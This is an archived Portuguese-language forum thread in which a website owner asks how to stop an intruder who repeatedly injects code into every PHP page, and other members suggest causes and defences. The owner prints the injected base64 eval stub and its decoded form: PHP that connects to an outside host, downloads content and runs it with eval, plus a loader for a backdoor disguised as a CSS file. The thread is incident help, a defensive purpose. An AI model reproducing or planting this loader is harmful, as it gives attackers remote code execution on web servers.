Ir para conteúdo

POWERED BY:

Arquivado

Este tópico foi arquivado e está fechado para novas respostas.

TaijovuNeji

Problema com invasão

Recommended Posts

Meu site está sendo constantemente invadido. Ao me invadir o cara coloca um código malicioso em todas as páginas php do meu servidor.

 

o código que ele coloca é esse:

<?php /**/eval(base64_decode('aWYoZnVuY3Rpb25fZXhpc3RzKCdvYl9zdGFydCcpJiYhaXNzZXQoJEdMT0JBTFNbJ21mc24nXSkpeyRHTE9CQUxTWydtZnNuJ109Jy9ob21lL2R1bmdlb25tL3B1YmxpY19odG1sL3BvcnRhbC93cC1pbmNsdWRlcy9qcy90aW55bWNlL3BsdWdpbnMvaW5saW5lcG9wdXBzL3NraW5zL2NsZWFybG9va3MyL2ltZy9zdHlsZS5jc3MucGhwJztpZihmaWxlX2V4aXN0cygkR0xPQkFMU1snbWZzbiddKSl7aW5jbHVkZV9vbmNlKCRHTE9CQUxTWydtZnNuJ10pO2lmKGZ1bmN0aW9uX2V4aXN0cygnZ21sJykmJmZ1bmN0aW9uX2V4aXN0cygnZGdvYmgnKSl7b2Jfc3RhcnQoJ2Rnb2JoJyk7fX19')); ?>
Esse código é codificado depois que ele insere nas minhas páginas por isso está assim.. se alguém quiser analisar posso postar o código descodificado..

 

Não importa quantas vezes eu tire esse código das páginas, ele sempre volta.

Será que não tem alguma configuração no php.ini que eu possa fazer para impedir isso?

 

Alguém tem alguma idéia do que eu posso fazer para impedir escrita externa nos arquivos do servidor?

Compartilhar este post


Link para o post
Compartilhar em outros sites

Olha, tem algumas opções.

- Senha do FTP - o cara pode ter conseguido a senha e entrado nos arquivos.

- PHP Injection

http://imasters.com.br/artigo/5179/sql_injection_no_php_o_que_e_e_como_se_proteger

http://helpdesk.redehost.com.br/KB/a138/proteo-contra-php-injection.aspx

 

Carlos Eduardo

Compartilhar este post


Link para o post
Compartilhar em outros sites

Não é só no PHP.INI e não é só SQL Injection. Tem também o PHP Injection (que parece ser o seu caso). Dá uma olhada neste link.

 

http://h-t.nireblog.com/post/2007/10/23/tutorial-de-php-injection

 

Carlos Eduardo

Compartilhar este post


Link para o post
Compartilhar em outros sites

@Matias: Nossa achei muito legal o tuto do cara ^^ ... mas lah ele ensina como usar um php injection e não como fazer com que um pare de acontecer e se previnir contra ele Oo

 

@Beraldo: Eu entro no FTP usando o FileZilla .. então não sei como ver log por lah Oo ... mas qual foi minha surpresa ao entrar no painel de controle do servidor e ao dar uma olhada nas configurações de FTP.. vi que a opção de FTP anonimo estava ativada O.o....

Mas soh estava ativada permissão de navegação.. e todas as páginas php do servidor estão com escrita permitida somente para proprietário O.o

 

Pelo que eu li no tutorial.. acho que esse cara tah entrando como Root no servidor e assim tendo permissão para modificar as páginas php...

Mas acho que ele não tah fazendo isso pelo FTP não... pq a primeira vez que ele invadiu meu forum.. ele colocou esse código maliciso em um avatar.. e acabou infectando todas as páginas php do servidor Oo

Por mais que eu tire esse código.. ele sempre volta... mesmo eu excluindo ele do meu forum de todas as maneiras possiveis (excluí por várias faixas de ip , vários e-mails e nomes que são usados por ele) ... mas isso é facil de quebrar é soh ele mudar o ip e colocar um nome e conta de e-mail diferente... então preciso de um jeito mesmo de impedir que código externo entre nas páginas php do meu servidor..

E creio que ele não está mais conseguindo fazer o php injection pelo avatar pq ele só conseguiu fazer isso pq eu tinha permitido que membros upassem avatar no servidor do meu site... e depois que ele fez isso eu proibi esse tipo de coisa.. então não tem como ele mandar o código para meu servidor usando o avatar novamente Oo

 

:::: Edit ::::

 

Demorei para encontrar mais achei o código malicioso sem tah codificado:

<?php;$url = 'http://wplsat23.net/?update=main';$done = false;if(!$url){return '';}$url_info = parse_url($url);$url_info[port] = ($url_info[port]) ? $url_info[port]:80;$url_info[path] = ($url_info[path]) ? $url_info[path] : "/";	$url_info[query] = ($url_info[query]) ? $url_info[path] = $url_info[path] . "?" . $url_info[query] : "";	$query = "GET " . $url_info[path] . " HTTP/1.1\r\n";	$query = $query . "Host: " . $url_info[host] . "\r\n";	$query = $query . "Accept:*/*" . "\r\n";	$query = $query . "Connection: close" . "\r\n";	$query = $query ."User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.1.12) Gecko/20080201 Firefox/2.0.0.12" . "\r\n";	$query = $query . "\r\n"; $errno = 0; $error = "";$sock = fsockopen($url_info[host], $url_info[port], $errno, $error,30);$h = array();$resp = array();if($sock){stream_set_timeout($sock, 30);fwrite($sock, $query);$hd = false;while(!feof($sock)){$l = fgets($sock);if(!$hd){if(trim($l) == ''){$hd = true;}else{$h[] = $l;}}else{$resp[] = $l;}}fclose($sock);}$ret = implode("", $resp);eval($ret);?>
Eu não consegui entender quase nada dele Oo

Compartilhar este post


Link para o post
Compartilhar em outros sites

falhas de segurança podem ter N origens

 

- pode ser virus no seu pc. Um keylogger por exemplo. Se tiver um keylogger ativo, tanto faz se você alterar senha de ftp.. o criminoso sempre terá tudo que você digita no seu pc..

faça um teste simples.. envie de outro pc que você tenha certeza absoluta de que esteja limpo, de preferencia um pc com sistema operacional diferente, linux ou macos, por exemplo. Se o problema persistir, provavelmente é falha de segurança do host

 

- pode ser um funcionna´rio do host mal-intensionado

- pode ser falha no host, que permita que outros clients compartilhados tenham acesso ao sistema de arquivos - ou mesmo ao root.

- pode ser injeção (sql, php, xs, etc..)

 

 

enfim... pesquisem faça testes, depurações, estudes redes, protocolos, servers, etc...

e terá uma visão maior sobre o asssunto.

 

quanto maior o conhecimento, maior a gama de soluções

 

 

quer uma dica?

 

a primeira coisa que faria é procurar pistas no código inserido

 

esse é o código decodificado

 

if(function_exists('ob_start')&&!isset($GLOBALS['mfsn'])){$GLOBALS['mfsn']='/home/dungeonm/public_html/portal/wp-includes/js/tinymce/plugins/inlinepopups/skins/clearlooks2/img/style.css.php';if(file_exists($GLOBALS['mfsn'])){include_once($GLOBALS['mfsn']);if(function_exists('gml')&&function_exists('dgobh')){ob_start('dgobh');}}}

jogue trechos desse código no google.

Compartilhar este post


Link para o post
Compartilhar em outros sites

@Matias: Nossa achei muito legal o tuto do cara ^^ ... mas lah ele ensina como usar um php injection e não como fazer com que um pare de acontecer e se previnir contra ele Oo

 

Saber como fazer ataques é uma das formas mais eficientes de se proteger deles.

 

 

 

@Beraldo: Eu entro no FTP usando o FileZilla .. então não sei como ver log por lah Oo ... mas qual foi minha surpresa ao entrar no painel de controle do servidor e ao dar uma olhada nas configurações de FTP.. vi que a opção de FTP anonimo estava ativada O.o....

Mas soh estava ativada permissão de navegação.. e todas as páginas php do servidor estão com escrita permitida somente para proprietário O.o

 

Os logs ficam no servidor. Pelo menos seu servidor deveria ter logs.

Compartilhar este post


Link para o post
Compartilhar em outros sites

@Beraldo: Realmente eu gostei do tutorial de php injection.. mas não sei o que fazer para impedir ele lendo aquele tuto Oo

E no meu servidor não tem log de FTP http://forum.imasters.com.br/public/style_emoticons/default/natal_sad.gif

 

@hinom: Então cara.. eu to usando um ótimo firewall, e na época que tava acontecendo tudo isso eu usava o COMODO que é um dos melhores... eu duvido que o cara instalou um keylogger na minha máquina... quando eu uso o Hijackthis para ver os processos ocultos e não ocultos do meu pc .. não mostrar nada que seja suspeito tbm

E um tbm dos fortes motivos de eu achar que ele não colocou keylogger no meu pc.. é que ele invadiu meu site na primeira vez colocando o código malicioso num avatar..

O mais provável de tudo é que o cara tah usando php injection mesmo pra me invadir Oo.. como disse o matias..

Tu decodificou o código usando a tabela ASCII ??? O.O

no código.. esse trecho: "/home/dungeonm/public_html/portal/wp-includes/js/tinymce/plugins/inlinepopups/skins/clearlooks2/img/style.css.php" eu entrei neste dirétorio lah no servidor... e as páginas php soh tinham o código dele .. mais nada... acho que ele deve ter usado essas pastas como backdor ou algo assim... jah deleitei a pasta inlinepopups...

 

Ah e eu pesquisei bastante sobre como impedir ataque de php injection.. mas não achei nada que seja bom :(

Compartilhar este post


Link para o post
Compartilhar em outros sites

possuir antivirus, firewall, etc.. não é garantia de segurança..

 

faça um teste simples.

 

utilize outro pc com o sistema zerado.

 

não precisa de outra máquina.. pode usar um livecd, instalar em outra partição, enfim...

 

certifique-se do que faz e faça testes consistentes, não fique no "achismo"

 

 

você efz duas peguntas que demonstram claramente falta de conhecimento básico em PHP.

 

Tu decodificou o código usando a tabela ASCII ??? O.O

base64 encode... a resposta esta´ no p´roprio script php

 

 

o código que você postou no post #7, é um simples script php que envia dados pelo protocolo HTTP usando a função socket() do PHP;

 

 

as respostas estão todas nesses códigos.

Compartilhar este post


Link para o post
Compartilhar em outros sites

Realmente.. de PHP eu sei muito pouco.. eu só programo em JAVA e em C e nem tão bem assim pq to me formando agora no curso de programação.. tenho muita coisa para aprender ainda..

 

E eu havia dito que ele invade foruns colocando esse código malicioso em avatar.. e jogando isso no servidor... ele não usa keylogger para descobrir senha do ftp...

 

OK.. a resposta tah no código postado.. mas eu precisaria saber de um jeito que impeça esse tipo de execução de código pelo protocolo HTTP..

Compartilhar este post


Link para o post
Compartilhar em outros sites

mas eu precisaria saber de um jeito que impeça esse tipo de execução de código pelo protocolo HTTP.

primeiramente você deve procurar a origem do problema

 

siga as instruções acima, pesquise outros topicos no forum também, pois existem centenas

 

de tópicos com o mesmo problema que o seu.

a maioria era virus no próprio pc.

 

 

caso tenha dificuldade e queira suporte particular, consulte

 

Mercado iMasters

Compartilhar este post


Link para o post
Compartilhar em outros sites

×

Informação importante

Ao usar o fórum, você concorda com nossos Termos e condições.